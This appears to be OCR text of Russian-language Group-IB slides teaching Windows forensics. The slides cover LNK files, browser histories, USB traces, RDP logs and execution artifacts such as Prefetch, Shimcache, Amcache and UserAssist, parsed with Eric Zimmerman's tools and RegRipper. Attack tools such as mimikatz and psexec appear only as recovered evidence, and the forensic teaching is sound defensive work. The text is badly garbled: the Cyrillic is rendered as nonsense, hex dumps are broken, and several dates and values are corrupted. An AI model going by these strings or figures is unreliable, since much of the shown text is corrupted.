le0 |00 32 00 34 00 2E 00 7A-00 €9 00 70 00 00 00 1C|{-2-4-.-2-i-p---- 00O
1£0 |00 00 00 54 00 00 00 1C-00 00 00 01 00 00 Q00 1C|---T------------

200 /00 00 00 2D 00 00 QO OQ0-00 OO0 OO0 S3 00 00 Q00 11| ---=---""-- S---- M M
210|00 00 00 03 00 00 00 €E-98 95 SE 10 00 00 Q0 QO ------- 1R >>V0|ume |nf0rmat|0n

S5 73 65 72 73-5C 55 73 65 72 SC 44 6F |C:\Users\User\Do

00
220|43 32 5C
230|77 6E 6C 6F 61 4 73 5C-6E 73 73 6D 2D 32 2E 32 |wnloads\nssm-2.2 D H . F d d H d d H
240|34 2E 7A 69 70 00 00 26-00 2E 00 2E 00 5C 00 2E|4.zip--&-.-.-\-. rrve type- IXe Storage Mmedia ar rive
250|00 2E 00 5C 00 2E 00 2E-00 5C 00 2E 00 2E 00 5C| -. -\ -u-2-\-u-.-\ .
260|00 2E 00 2E 00 5C 00 44-00 €F 00 77 00 €E 00 6C|-.-.-\-D-0-w-n-1l S I mb . 5E95986E
270 |00 6F 00 61 00 64 00 73-00 SC 00 6E 00 73 00 73|-0-a-d-s-\-n-s-s erial nu er:
80|00 €D 00 2D 00 32 00 2E-00 32 00 34 00 2E 00 7A| m---2-.-2-4-, -2
290 |00 €9 00 70 00 €0 00 00-00 03 00 00 AOQO 58 00 00 -j_-p-‘ ------ X-- L b I' (N I b I)
2a0|00 00 00 00 00 77 9 6E-64 €5 76 31 38 31 31 65| ----- windevl3sll abel: O labe
2b0 |76 61 6C 00 00 DO 3F 73-3C 4A CA 66 46 Bé 96 60 |val- -D2s<JELFY-" .
2600 06 35 68 45 45 56 1E-6F TF 2h ES 11 62 7 08 |8 SKIK. 0-16. - Local path: C:\Users\User\Downloads\nssm-2.24.zip
2d0 |00 27 08 72 CE DO 3F 73-3C 4A € 46 B6 96 60| -' -riD?s<JELFY -
220 (40 06 39 6B 49 4B 99 1E-6F 7F 9 11 82 C7 08|@-9kIK--0-*&--C-
2£0 |00 27 08 72 CE 45 00 00-00 0% 00 00 A0 39 00 00| -'-riE------ 9.-. C e
300 (00 31 53 50 53 Bl 16 6D-44 AD 8D 70 48 A7 48 40| -15PSi -mD- -pHSH@
310|2E A4 3D 78 8C 1D 00 00-00 68 00 00 00 00 48 00 |.M=x----- h---H-

320 |00 00 SF 27 B3 AB 00 00-00 00 00 00 €0 22 00 Q0| ---"3&------ SO
330|00 00 00 00 00 0O 00 00-00 Q0 00 00 Q0 00 | ---vcrreernnns




GROUP‘iB‘

[MpakTuka: Nony4vyeHne gaHHbIX LNK

Administrator: Command Prompt - O X

G:\Mony4eHne paHHbix LNK ¢ nomowpi LECmd>LECmd.exe -f mimikatz_trunk.zip.lnk
LECmd version 1.3.2.0

Author: Eric Zimmerman (saericzimmerman@gmail.com)
https://github.com/EricZimmerman/LECmd

Command line: -f mimikatz_trunk.zip.lnk

Source file: G:\MonydeHune aaHHbix LNK ¢ nomowbi LECmd\mimikatz_trunk.zip.lnk
Source created: 2019-06-05 ©8:35:12
Source modified: 2019-06-05 ©8:35:20
Source accessed: 2019-06-23 21:00:00

Target created: 2019-06-065 ©8:
Target modified: 2019-06-05 ©8:
Target accessed: 2019-06-065 ©8:

File size: 921,519
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GF%DUF"iBl

Cnepabl ucnonb3oBaHUA Beb-6pay3epoB: EDGE/IE

C:\%USERPROFILE%\AppData\Local\Microsoft\Windows\WebCache\WebCacheV*.dat

| | WebCacheV0l.dat — 47,104 Regular File Ur]

0000000 |88 1D D9 8C EF CDM
0000010 /B2 B4 00 00 00 00 00 00-Eé \‘Visited: User@about:blank
0000020 /0C 76 9F 04 00 00 00 00-00

000003000 00 00 00 03 00 00 00-Bé | | Visited: User@https://www.bing.com/search?q=netscan&form=EDGEAR& qs=PF
0000040 |28 02 OE 0D 02 77 39 QE-01

0000050 |68 02 40 00 25 00 00 00-28 Visited: User@https://www.bing.com/search?q=netscan&form=EDGEAR&qs=PF
:I:J,ﬂf,:j;'r: Ef; ;f i? ::': ﬁ; '3,2 :j; F:'G'Zﬂi, Visited: User@https://www.softperfect.com/download/

o o oo oo oo oo oo oot || Visited: User@https://www.softperfect.com/download/files/netscan_portable.zip
0000020 /00 OO0 QO OO0 00 00 00 00-00 ViSitEd: User@http://nssm.cc,"

00000b0 |00 00 00 00 00 00 00 00-00
00000c0 |00 00 00 00 00 00 00 00-00 Visited: User@http://nssm.cc/description
0000040 /00 OO0 OO0 00 CF 00 00 00-0A
00000e0 (€3 45 00 00 00 00 00 00-14 Visited: User@http://nssm.cc/download
00000£0 /00 00 Q0 00 OO0 Q0 00 0Q0-00
0000100 /00 00 Q0 00 00 00 00 00-00 ViSitEd: User@ht‘tp:/',/nssm.Cc,/'release/nssm-2.24.zip
0000110 ‘uj 0 00 Q0 00 00 00 00 00-00




[MpakTukKa: AHanu3 naHHbIX Beo-6pay3epos EDGE v IE

IGROUP|IB

Containers [Table ID = 12, 14 Columns]

v

Containerld
@1
D2
@3
D4
D5
D6
@7
@8
@9
@1
@ 12
@ 13
@ 14
@15
@ 16
@17
@ 18
@19
@ 20
@ 21
D 22
@ 23
D 24
@ 25
D 26
@ 27
O 28
@ 29
@ 30
@ 31
@ 32
@ 33

Setld Flags

68
79
15
15
|
68
113

15

79
80
80
81
81
79
79
65
65
68

113
79

15
15
192
15

—_ O = == a2 O 0 00000000000 00 =00 = —--0 0

Size

0
687422
0
445731
13

OO O O O O O O O O O O

32270227
4192159
26

260

OO O O O O

o O O O

Limit
1024
346030080
52428800
52428800
1024000
1024

1024

1024

1024

1024
52428800
1024
346030080
1024

1024

1024

1024
346030080
346030080
1024000
1024000
1024

1024

1024

1024

1024
346030080
1024000
52428800
52428800
1024
52428800

LastScavengeTime EntryMaxAge LastAccessTime

0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0

0

O O O O O O O O O O O O O OO OO0 O0C 000D O0OO0ODO0OO0OOo0OoO oo o

132041938405063950
132041938387842229
1320419408292144398
132041938186128237
132041938188620676
132041945344830648
132041938196757981
132041942147789353
132041942161862250
132041940842493188
132041940116243763
132041938405811706
132041945175615719
132041945175767257
132041945175928384
132041945176552500
132041945176865404
132041945253111624
132041945262799428
132041945341077475
132041945355764710
132041945359988052
132041945361234154
132041945616410141
132041945754394979
132041945866269425
132041950228689219
132041950232733017
132041950903834535
132041963504265335
132041978055863606
132042087840957580

Name

History

Content

Content

Content

DOMStore

History
MicrosoftEdge_DNTException
BackgroundTransferApi
BackgroundTransferApiGroup
BackgroundTransferApi
Content
MSHist012019060520190606
Content
MicrosoftEdge_iecompat
MicrosoftEdge_iecompatua
MicrosoftEdge_EmieSiteList
MicrosoftEdge_EmieUserList
Content

Content

DOMStore

DOMStore

History

History

iedownload

History
MicrosoftEdge_ieflipahead
Content

DOMStore

Content

Content

Cookies

Content

Partitionld

M

M

S-1-15-2-350187224-1905355452-1037786396-3028148496-2624191407-3283318427-1255436723
S-1-15-2-1861897761-1695161497-2927542615-642690995-327840285-2659745135-2630312742
S-1-15-2-1861897761-1695161497-2927542615-642690995-327840285-2659745135-2630312742
S$-1-15-2-3624051433-2125758914-1423191267-1740899205-1073925389-3782572162- 737981194

M

$-1-15-2-1861897761-1695161497-2927542615-642690995-327840285-2659745135-2630312742
$-1-15-2-1861897761-1695161497-2927542615-642690995-327840285-2659745135-2630312742
S$-1-15-2-350187224-1905355452-1037786396-3028148496-2624191407-3283318427-1255436723
S-1-15-2-1609473798-1231923017-684268153-4268514328-882773646-2760585773-1760938157

M

S-1-15-2-3624051433-2125758914-1423191267-1740899205-1073925389-3782572162-737981194

M

M

M

M
S$-1-15-2-3624051433-2125758914-1423191267-1740899205-1073925389-3782572162-737981194-4256926629-1688279915-2739229046-3928706915
S-1-15-2-3624051433-2125758914-1423191267-1740899205-1073925389-3782572162-737981194-3513710562-3729412521-1863153555-1462103995
S-1-15-2-3624051433-2125758914-1423191267-1740899205-1073925389-3782572162-737981194-3513710562-3729412521-1863153555-1462103995
S-1-15-2-3624051433-2125758914-1423191267-1740899205-1073925389-3782572162-737981194-4256926629-1688279915-2739229046-3928706915
S-1-15-2-3624051433-2125758914-1423191267-1740899205-1073925389-3782572162-737981194-3513710562-3729412521-1863153555-1462103995
S-1-15-2-3624051433-2125758914-1423191267-1740899205-1073925389-3782572162-737981194-4256926629-1688279915-2739229046-3928706915
S$-1-15-2-3624051433-2125758914-1423191267-1740899205-1073925389-3782572162-737981194
S-1-15-2-3624051433-2125758914-1423191267-1740899205-1073925389-3782572162-737981194-2385269614-3243675-834220592-3047885450

M

S$-1-15-2-930279079-3258969966-1203931420-3379063298-1496040207-3203565093-3038441310
S$-1-15-2-930279079-3258969966-1203931420-3379063298-1496040207-3203565093-3038441310
S-1-15-2-1726375552-1729233799-74693324-3851689839-2151781990-3623637752-3611872497
S$-1-15-2-2246530975-808720366-1776470054-230329187-4153223113-3550430174-4193313734

M

S$-1-15-2-2226957697-3030467180-2301525-4248967783-2024719031-2325529081-2915787518




Cnepabl ucnonb3oBaHUA Beb6-0pay3epos: FIREFOX

C:\%USERPROFILE%\AppData\Roaming\Mozilla\Firefox\Profiles\*.default\

Jj places.sqlite

. neguigir i = url
000000 |53 51 4C ©9 74 65 20 ©e-oF 72 eD 61 74 20 33 00 |SQLite format 3- Filter
00001080 00 02 02 00 40 20 20-00 00 00 03 00 00 00 25| ----- @ .- £ https://support.mozilla.org/ru/products/firefox
000020 |00 00 00 00 OO0 00 00 00-00 00 00 1F OO0 Q00 00 Q4| ---rrremeeeenenn
000030 /00 00 00 OO0 QOO0 00 00 OQ00-00 OO0 00 01 OO0 00 00 34| -----vevenunnnn 4 https://support.mozilla.org/ru/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=f...
000040 |00 00 00 00 00 00 00 00-00 00 00 OO0 OO0 Q0 00 QO ----cc e ennn. https://www.mozilla.org/ru/contribute/
000050 |00 OO0 Q0 QO OO0 OO0 00 O00-00 OO0 00 QOO0 OO OO OO O3 - - v v e e e Gt https://vww.mozilla.org/ru/about/
000060 |00 2E 09 28 0D 7F F8 00-24 6AC8 00 7F OC 7F C1 | -. -(--2-$JE----A
000070 |7D 24 7C SA 7B €0 7C 19-79 Fé 79 OD 79 AB 78 33 |}$|Z{ | -ydy -y«x3| |https://www.mozilla.org/ru/firefox/central/
000080 |78 D4 77 E1 77 07 77 9A-75 DD 74 A2 74 38 73 EB|xOwéw-w-uYtetSsé https://yandex.ru/search?clid=2186621&text=network+scanner
'jlm_mgu 73 7C 73 15 72 A9 72 3RA-71 BA 71 42 70 D2 70 _8 s|s -rér:q°qBpOpS https://yandex.ru/search/?clid=2186621&text=network+scanner&Ir=213&redircnt=1553082105.1
0000a0 |eF B2 eF 2C 6E B9 6E 3A-¢6D A6 6D 28 oC A3 eC 0l (ofo,n*n:m;m(1£]l -
0000b0 |6B &F €A C8 00 00 00 00-00 00 00 00 00 00 00 00 kOjP:'. ............ https://yandex.ru/search/?clid=2186621&text=network%20scanner&Ir=213&redircnt=15530821...
0000cO 100 OO0 00 OO0 00 00 00 O00-00 OO0 OO0 OO0 OO0 00 OO0 00| -+ -+ e e eeeeeennn https://www.10-strike.ru/network-scanner/
0000d0 |00 OO0 QOO0 QO 00 00 00 00-00 00 00 OO0 OO0 OO0 OO0 OO - e
00000 |00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00| <« cvvveeeeeunn-. https://www.10-strike.ru/network-scanner/download.shtmi
Q000£0 /00 00 00 00 OO0 QOO0 Q0 00-00 00 00 00 00 00 00 QO - -« o v e memenenn. https://www.10-strike.ru/network-scanner/network-scanner.exe
L] cockies.sqlite 512 Regular File 34 admetrica.ru sync_cookie_ok synced .mc.admetric...
00000 |53 51 4C 69 74 65 20 66-6F 72 6D 61 74 20 33 00|SQLite format 3-| |3 yandex.ru yp 1555674107.5... | .yandex.ru
00010 |80 00 02 02 00 40 20 20-00 00 00 OS5 00 00 00 04| ----- @ -------- 36 yandex.ru sc_15530821... network%20s... .yandex.ru
000201000009 00,00 90 :00. 00000000 0300 00 0008 | - znorenassnysns 37 10-strike.ru _ym_uid 15530821146... .10-strike.ru
00030 /00 00 00 OO0 OO0 OO0 QO OQO-00 OO0 OO0 O1 OO0 00 00 09| - - - v e e e e
00040 |00 00 00 00 00 00 00 00-00 OO0 00 00 00 00 00 00/ ---cvveveeenaan. 38 10-strike.ru —ym_d 1553082114 .10-strike.ru
00050 (00 Q0 00 Q0 00 00 00 00-00 Q0 00 Q0 00 00 00 OS5 - -+ v v e eeeeennn.. 39 10-strike.ru _ym_isad 2 .10-strike.ru
00060 |00 2E 09 28 0D 7F F8 00-03 7D AS 00 7E 1A 7F C (--2--}®-- --A 42 10-strike.ru _gat_gtag_UA... 1 ‘10-strike.ru

GROUP|IB




GROUP|IB

Cnepabl ucnonb3oBaHUA Beb6-6pay3epos: GHROME

C:\%USERPROFILE%\AppData\Local\Google\Chrome\User Data\Default\

__| History 8,096 Regular File 2/15/2018 122733 —|22090 https://attack.mitre.org/techniques/enterprise/
.| History-journal 9 Regular File 2/15/2019 12:27:42

———e . 22134 https://attack.mitre.org/groups/G0080/
000000 |53 51 4C &9 74 65 20 co-6F 72 6D €1 74 20 33 00|SQLite format 3-

000010 |10 00 01 01 00 40 20 20-00 00 13 C4 00 00 07 E6|----- @ ---A---=| |22136 https://attack.mitre.org/techniques/T1076
Q00020 |00 00 07 €7 00 00 00 SA-00 OO OO 12 0O QO OO 04| ---g---Z---"--~--

000030 /00 00 00 00 00 00 00 00-00 00 00 01 00 00 00 00| - --cvvveeeeeeenn. 22137 http=//attaCk-mitfe-orglteChniqueSﬁl076/
Q00040 |00 OO0 00 QO 00 00 00 O00-00 00 00 QOO0 00 00 00 00| - e e ) )

000050 |00 00 00 00 00 00 00 00-00 00 00 00 00 00 13 C4 |- ---cvvreevnn-- A i MHpS patEck mie-on leciUed E1076;
000060 |00 2E 28 €B 05 00 00 00-01 OF FB 00 00 00 04 1B|-.(k------ G- 22154 https://attack.mitre.org/techniques/T1072
Q00070 |0F FB 00 Q0 Q0 QO 00 00-00 00 00 Q0 00 00 00 Q0| -Qq-----c-=wownwu-

Q00030 |00 00 00 00 OO0 OO0 00 O0-00 OO0 OO0 Q00 00 00 00 OO - ---r e mmmeeennn 22155 http://attack.mitre.org/techniques/Tl072/
000090 |00 00 00 OO0 OO0 00 OO0 OQO0-00 00 00 OO0 OO0 OO0 00 Q0 - === c e e e e e ennnn

000020 |00 00 00 00 00 Q00 00 00-00 00 00 00 00 00 00 00/ ----vveeeeennann. 22156 https://attack.mitre.org/techniques/T1072/
| Cookies 3,200 Regular File ~113197541838068164  .live.com logonLatency
000000 |53 51 4C &9 74 65 20 66-6F 72 6D €1 74 20 33 00 |SQLite format 3- 131973690115538017 .live.com wlad?2

00001010 00 01 O1 00 40 20 20-00 OA 7F eC 00 00 O3 1E| ----- e ---1----

000020 |00 00 00 OD 00 00 O1 0O7-00 00 00 09 00 00 00 04| ---- - mnnn 13197541849088088  .live.com xidseq

000030 /00 00 00 00 OO0 OO0 OO0 O0-00 OO0 OO0 O1 OO0 00 OO0 00O === c e e e e e eeeennn e

000040 |00 00 00 00 00 00 00 0O0-00 00 00 00 00 00 00 00| - - - vvvvvvmmmnnns 13197541907967016 | .pippio.com e

000050 |00 00 00 00 00 0O 00 00-00 OO0 OO0 00 00 OA TF 8C| ----rrrreren-s - 13194456087418321  www.exabeam.com  DFTT_END_USER_PREV...
000060 |00 2E 30 39 0D OF 28 00-04 0D 02 00 OF 67 OF CF|-.09--(------ g-I —
000070 /0D 02 OE F9 OE F9 OE F9-00 00 00 00 00 00 00 00/ ---d-qd-W-------- 13197542825086313 www.gartner.com TS01543fe9
Q00080 |00 00 00 00 00 00 00 OO0-00 00 OO0 OO0 00 00 Q00 OO0 -----r - 13197542825086339  .gartner.com TS016d2780
000080 /00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 - - rmeemmnnnn..




[MpakTuka: AHanus gaHHbIX Be6-6pay3epoB FREFIX nicrouris
CHROME

Database Structure Browse Data Edit Pragmas Execute SQL

Table: | |moz_places vl I3 N8 a2 New Record, Delete Record

~

id url title
Filter [Filter [Filter

................................................

: https://support.mozilla.org/en-US/products/firefox

https://support.mozilla.org/en-US/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-browser&utm_medium=default-bookmarks&utm_campaign=customize
https://www.mozilla.org/en-US/contribute/

https://www.mozilla.org/en-US/about/

https://www.mozilla.org/en-US/firefox/central/

https://www.mozilla.org/privacy/firefox/

https://www.mozilla.org/en-US/privacy/firefox/ Firefox Privacy Notice — Mozilla
https://www.yandex.com/search?clid=2186621&text=psexec

L= e = T ¥ B N S R o e
0w N Oy R W

https://www.yandex.ru/search/?clid=2186621&text=psexec&rdrnd=513010&Ir=213&redircnt=1559725539.1 psexec — SHAEKC: HALNOCh 5 ThIC. pe3...
10 10 https://docs.microsoft.com/en-us/sysinternals/downloads/psexec PsExec - Windows Sysinternals | Micro...
11 11 https://download.sysinternals.com/files/PSTools.zip PSTools.zip
12 12 http://sendspace.com/file/4c9k16
13 13 http://www.sendspace.com/file/4c9k16
14 14 https://www.sendspace.com/file/4c9k16 Download temp.zip from Sendspace.co...
15 15 https://www.sendspace.com/defaults/sendspace-pop.html
16 16 https://engine.spotscenered.info/link.engine?z=50323&guid=33be5d3b-88b1-40f2-86a2-1fd5ad5928dd
17 (17 https://engine.spotscenered.info/Redirect.eng?MediaSegmentld=54898&dcid=1_ctx_27bb9%e2d-4cef-4591-9eb3-db454dfeeb0c&vmId=00000000-0000-0000-0000-000000000000...
18 18 https://c2.olecktd.com/t/clk?id=AQrIVFV6I7U325ki0EOwW3ik&s1=4060122d-4eee-4d76-85ce-68f1af896469&s2=12038
19 19 https://cl.untildogtop.com/t/clk?id=4k23BI60ALh7jZxHMkMgksg&s1=4060122d-4eee-4d76-85ce-68f1af896469&s2=12038&redirect-from=AQrIVFV617U325ki0EOw3ik&rcode=R02...
20 20 https://validationprol.info/push_me_v8?test=30d6f864-90f8-4a97-8e31-29198537d72d&s2=12038
21 21 http://validationprol.info/push_me_v8/?test=30d6f864-90f8-4a97-8e31-29198537d72d&s2=12038
22 22 https://validationprol.info/push_me_v8/?test=30d6f864-90f8-4a97-8e31-29198537d72d&s2=12038 Push Me
23 23 https://fs12n4.sendspace.com/dl/5d1565ff9c8cf621b09bd47547717895/5cf78716382f75d7/4c9k16/temp.zip temp.zip




GRDUP‘iBl

USB-ycTponcrBa




GRDUF"iB‘

CNNEAQbI MogknioyeHun USB-yctpoucts

PeecTp KypHanbl
e SYSTEM e XXypHanbl cobbITUM
e SOFTWARE (C:\Windows\System32\winevt\Log
e NTUSER.DAT s)
e Amcache.hve o JKypHanbl Setup AP

(C:\Windows\INF)




[MpakTuka: Coop uHcpopmauum o noakntrodeHHbIX USB=our(s|
YyCTPOUCTBAX

USB Detective v1.5.0 Community Edition (non-commercial use only)

File Tools View Report Help

Serial/UID Description
481116DD5007

09021000000000003769269898 | ADATA USB Flash Drive USB Device

ADATA HD710 PRO USB Device

7&1c4aB84d7 “ATMEL Ducky Storage USB Device
'044YO06DAEDOI3US .VJetFIash Transcend 8GB USB Device
20051233131175B03479 ' SanDisk Cruzer Switch USB Device
| S&39a18bdd&0 “Fingerprint Sensor
0343614100000803 '_General USB Flash Disk USB Device

60A44C413C4EBOBOBS8400BF

0018F30C9F50BF515171B9BA | Kingston DTR30G2 USB Device

20044526911175B062F5 | SanDisk Cruzer Switch USB Device
CCYYMMDDHHMmMSSZNZQTM HUSB Flash Disk USB Device
1000000000007364 | USB2.0 Flash Disk USB Device
6&92d71a6 | HID Keyboard and MSC

<

First Connected (Moscow Standard Time/Moscow Daylight Time)
| 7/11/2017 4:50:59 PM_
: 4_/6/2017 10:45:25 AM
.712/20/2017 5:24:04 PM
‘,”11/25/2017 2:33:14 AM
j»172/20/20177 6:06;06 PM
. 11_[25/2017 2:35:01 AM

Kingston DataTraveler 3.0 USB Device

112/20/2017 5:24:04 PM

hive should be replayed.
6/24/2019 2:11:31 PM:
6/24/2019 2:11:31 PM:
6/24/2019 2:11:31 PM:
6/24/2019 2:11:31 PM:

Upgrade to Professional for transaction log support.

Finished processing NTUSER.DAT hive (D:\USB\NTUSER.DAT).
Processing Amcache hive (D:\USB\Amcache.hve).

D:\USB\Amcache.hve is a dirty hive. The transaction logs for this v

A Timestamp Consistency Levels
Not Calculated Mid

Low High
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RDP BRUTE FORGE

am Windows Server2012R2




GR’DUF"]B‘

Cneabl nogknto4veHnu no RDP: xxypHanbl COObITUN

Event ID KypHan
KypHanbl . ID 4624
CcOObITUN SEEAHEE ID 4625
Microsoft-WindowsRemoteDesktopServi ID 131
cesRdpCoreTS%40perational.evtx ID 98

Microsoft-Windows-Terminal
Services-RemoteConnection ID 1149
Manager%40Operational.evtx

Microsoft-Windows-Terminal D 21
Services-LocalSession D22
Manager%40perational.evtx D 25




IGROUP

‘) MpakTuka: Mouck nHdpopmaumm o6 RDP-noaknoYeHNUSX

General Details

Event 25, TerminalServices-LocalSessionManager

Session |1D: 4

Log Name:
Source:
Event ID:
Level:
User:
OpCode:

More Information:

Remote Desktop Services: Session reconnection succeeded:
User: VICTIM\IEUser

Source Network Address: 10.9.3.48

Microsoft-Windows-TerminalServices-LocalSessionManager/Operational

TerminalServices-LocalSessic Logged: 6/5/2019 12:36:12 PM|
25 Task Category: None

Information Keywords:

CUCTEMA Computer: VICTIM

Info

Event Leg Online Help

FB‘




Cneabl nogkntovyeHuun no RDP: Peectp

NTUSER.DAT

Software\Microsoft\Terminal Server Client\Servers

(NTUSER.DAT) Gets hosts logged onto via RDP and the Domain\Username

Terminal Server (Client\Servers
Software\Microsoft\Terminal Server (Client\Servers
LastWrite Time Wed Oct 25 12:27:27 2017 (UTC)

Hostname: 10.77.211.42
Domain/Username: nationalbank\pcl3
LastWrite: Sat Sep 29 ©5:18:03 2018 (UTC)

GRDUP'iB\




|GRDUP‘iB\

') NMpakTuka: Monck nHdopmauum o6 RDP-noaKNoHEeHUAX

| RegRipper, v.2.8_20190128 - 0O X
File Help

LR IGi'\HOH)"*eHMe nHpopmawm 06 RDPnoaxnioyern Browse

Report File: G-\rdp et R

Profile: ntuser v

winrar2...Done. A
winrar_tin...Done.

winscp...Done.

winscp_sessions...Done.

winvnc...Done.

winzip...Done.

wordwheelquery...Done.

yahoo_cu...Done.

0 plugins completed with emrors.

Rip it Close

Done.




GROUP|IB

Cneabl 3anyckKa

[MogrotoBka [Mowuck cnenos Mowck cneaos [Mowuck cnenos Mowuck cnenos Mouck cnenos
NCTOYHNKOB nepBUYHOM 3anveka 3aKkpenneHns B pacrnpocTpaHeHun OEeNcTBUN Ha
NHdOpMaLnK KoMnpomMeTtauumm y cucreme S1 M0 CETH obbekTax




GRDUP‘iB‘

Cnepabl 3anycka: PREFETCH

C:\Windows\Prefetch

Created on: 2019-03-21 12:13:38
Modified on: 2019-63-21 12:13:38
Last accessed on: 2019-03-21 12:13:38

Executable name: MALWARE.EXE

Hash: 3AC72A13

File size (bytes): 13,766
ersion: Windows 10

Run count: 1




MpakTuka: MonyyeHune uHcpopmavumm s PREFETCH  [cmouefi
dannos

Administrator: Command Prompt - O X

G:\lMony4eHune paHHbiXx U3 Prefetch-dainnoe ¢ nomowbw PECmd>PECmd.exe - MIMIKATZ.EXE-CS5A17C64.pf
PECmd version 1.3.4.0

Author: Eric Zimmerman (saericzimmerman@gmail.com)
https://github.com/EricZimmerman/PECmd

Command line: -f MIMIKATZ.EXE-CS5A17Cé4.pf

Keywords: temp, tmp

Created on: 2019-06-05 ©8:35:54
Modified on: 2019-06-05 ©8:37:16
Last accessed on: 20619-66-18 21:00:00

Executable name: MIMIKATZ.EXE
Hash: C5A17Cé64

File size (bytes): 28,912
Version: Windows 18




Cnepabl 3anycka: SHIMCAGHE

ControlSet001\Control\Session
Manager\AppCompatCache

SYSTEM

C:\Program Files (x86)\TeamViewer\tv_w32.exe

C:\Program Files (x86)\TeamViewer\tv_x64.exe

C:\Program Files (x86)\TeamViewer\TeamViewer_Note.exe
C:\Program Files (x86)\TeamViewer\TeamViewer_ Desktop.exe
C:\Program Files (x86)\TeamViewer\TeamViewer.exe
C:\Program Files (x86)\TeamViewer\TeamViewer_Service.exe

9/10/2018 13:56
9/10/2018 13:56
9/10/2018 13:56
9/10/2018 15:53
9/10/2018 15:53
9/10/2018 15:53

GRDUP'iB\




GROUP‘iB‘

[MpakTuka: Nony4eHune aaHHbIX SHIMGACHE

G:\Mony4eHne apaHHbix Shimcache ¢ nomowpkw AppCompatCacheParser>AppCompatCacheParser.exe -f

SYSTEM --csv ./
AppCompatCache Parser version 1.4.1.0

Author: Eric Zimmerman (saericzimmerman@gmail.com)
https://github.com/EricZimmerman/AppCompatCacheParser

Command line: -f SYSTEM --csv ./

Processing hive 'SYSTEM'

Found 451 cache entries for Windowsl@Creators in ControlSet©01

G:\Mony4eHune aaHHbix Shimcache ¢ nomowpkw AppCompatCacheParser>




GROUP|IB

Cnepabl 3anycka: MUICACHE

USRCLASS.DAT Local Settings\Software\Microsoft\Windows\Shell\MUICache

C:\Program Files (x86)\TeamViewer\TeamViewer.exe.FriendlyAppName (TeamViewer 13)

C:\Program Files (x86)\TeamViewer\TeamViewer.exe.ApplicationCompany (TeamViewer GmbH)
C:\Program Files (x86)\Google\Chrome\Application\chrome.exe.FriendlyAppName (Google Chrome)
C:\Program Files (x86)\Google\Chrome\Application\chrome.exe.ApplicationCompany (Google Inc.)
C:\WINDOWS\system32\NOTEPAD.EXE.FriendlyAppName (Notepad)
C:\WINDOWS\system32\NOTEPAD.EXE.ApplicationCompany (Microsoft Corporation)




GRDUP‘]B\

') NpakTuka: Mony4yeHune aaHHbIX MUICACHE

8 RegRipper, v.2.8_20190128 - 0 X
File Help

Hive File: |G:‘\ﬂonyqenme naHHbx MUICache ¢ nomouweto Re Browse

Report File:  [G:\MUICache txt TR

Profile: |usrclass v

Using plugins file usrclass
cmd_shell_u...Done.
inprocserver...Done.
muicache...Done.
muicache_tin...Done.
photos...Done.
shellbags...Done.
shellbags_tin...Done.

0 plugins completed with ermors.

Rip It Close

Done.




GRDUP'iB\

Cnepabl 3anycka: AMGACHE

Amcache.hve C:\Windows\appcompat\Programs

RecentFileCache.bcf C:\Windows\appcompat\Programs

459ecf0b491eab12e8751f4b01631a65701ef0as FALSE c:\windows\temp\malware.exe




GROUP‘iB‘

[MpakTuka: NMNony4veHne aaHHbIX AMGACHE

Administrator: Command Prompt - O X

G: \Mony4eHne paHHbiXx Amcache c¢ nomouwpw AmcacheParser>AmcacheParser.exe -f Amcache.hve --csv ./
AmcacheParser version 1.3.3.0

Author: Eric Zimmerman (saericzimmerman@gmail.com)
https://github.com/EricZimmerman/AmcacheParser

Command line: -f Amcache.hve --csv ./

'Amcache.hve' is in new format!

file entries found: 101
shortcuts found: 55

device containers found: 7
device PnPs found: 77
drive binaries found: 352
driver packages found: 2

69 unassociated file entries

Results saved to: ./

Total parsing time: ©.308 seconds.




GRDUP'iB\

Cnepabl 3anycka: USERASSIST

NTUSER.DAT Software\Microsoft\Wi ndows\CL; rrentVersion\Explorer\UserAssis

{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}

Thu Mar 21 12:15:42 2019 Z
16D809377-6AF0-444B-8957-A3773F02200E}\7-Zip\7zFM.exe (5)

Thu Mar 21 12:13:38 2019 Z
{F38BF404-1D43-42F2-9305-67DEBB28F(C23 }\Temp\malware.exe (1)




GRDUP‘]B\

') NpakTuka: MonyyeHne AaHHbIX USERASSIST

| RegRipper, v.2.8_20190128 = O X
File Help
Hive File: IG:\ﬂon','qume naHHbix UserAssist ¢ nomowbio Rex Browse
Report File: G:\UserAssist txt Browse
winrar2...5_-t-)ne. T

winrar_tin...Done.
winscp...Done.
winscp_sessions...Done.
winvnc...Done.

winzip...Done.
wordwheelquery...Done.
yahoo_cu...Done.

0 plugins completed with emors.

Rip It Close

Done.




Cnepbi 3anycka: BACKGROUND ACTIVITY MONITOR

SYSTEM

HKLM\SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}

\Device \HarddiskVolume4\Program Files\Mozilla Firefox\firefox.exe
\Device\HarddiskVolume4\Program Files\DB Browser for SQLite\DB Browser for SQLite.exe
\Device \HarddiskVolume4\Users\0136\DesktoplUSB Detective.exe
\Device\HarddiskVolume4\Users\0 136\Desktop\RegRipper2.8-masteryr.exe

\Device\HarddiskVolume5\Downloads\becu.cm.all. x64.exe

2019-03-20 11:42:14
2019-03-20 11:49:05
2019-03-21 13:00:41
2019-03-20 14:08:56
2019-03-2108:16:40

GRDUP'iB\




ﬁoup B

MpakTuka: Monyyenne aaHHL1x BACKGROUND ACTIVITY MONITE

& Registry Explorer v1.4.2.0 — O X
File Tools Options Bookmarks (25/0) View Help
Registry hives (2) Available bookmarks (50/0) Values
Key name # values # subkeys Last write timestamp
¥ | aflc = = = A
S 3 2 2019-03-19 18:43:49 | | Value Name _Value Type _ Data ‘ Value SI... |- | Data Record Reallocated |
» [~ AssignedAccessManager... 8 2 2018-09-1509:10:09 ¥ [ AQc A0c AQc AQc = u g2
== AsyncMac 7 0 2018-09-1507:33:22 \Device\HarddiskVolume 1\Windows\System32\dllhost.exe RegBinary 8C-7A-81-AC-... 30-7D-5...
atapi 8 0 2019-06-05 11:03:37 \Device \HarddiskVolume 1\Windows\System32\SystemSettingsAdminFlows.exe RegBinary 70-AF-18-7D-... 00-00-0...
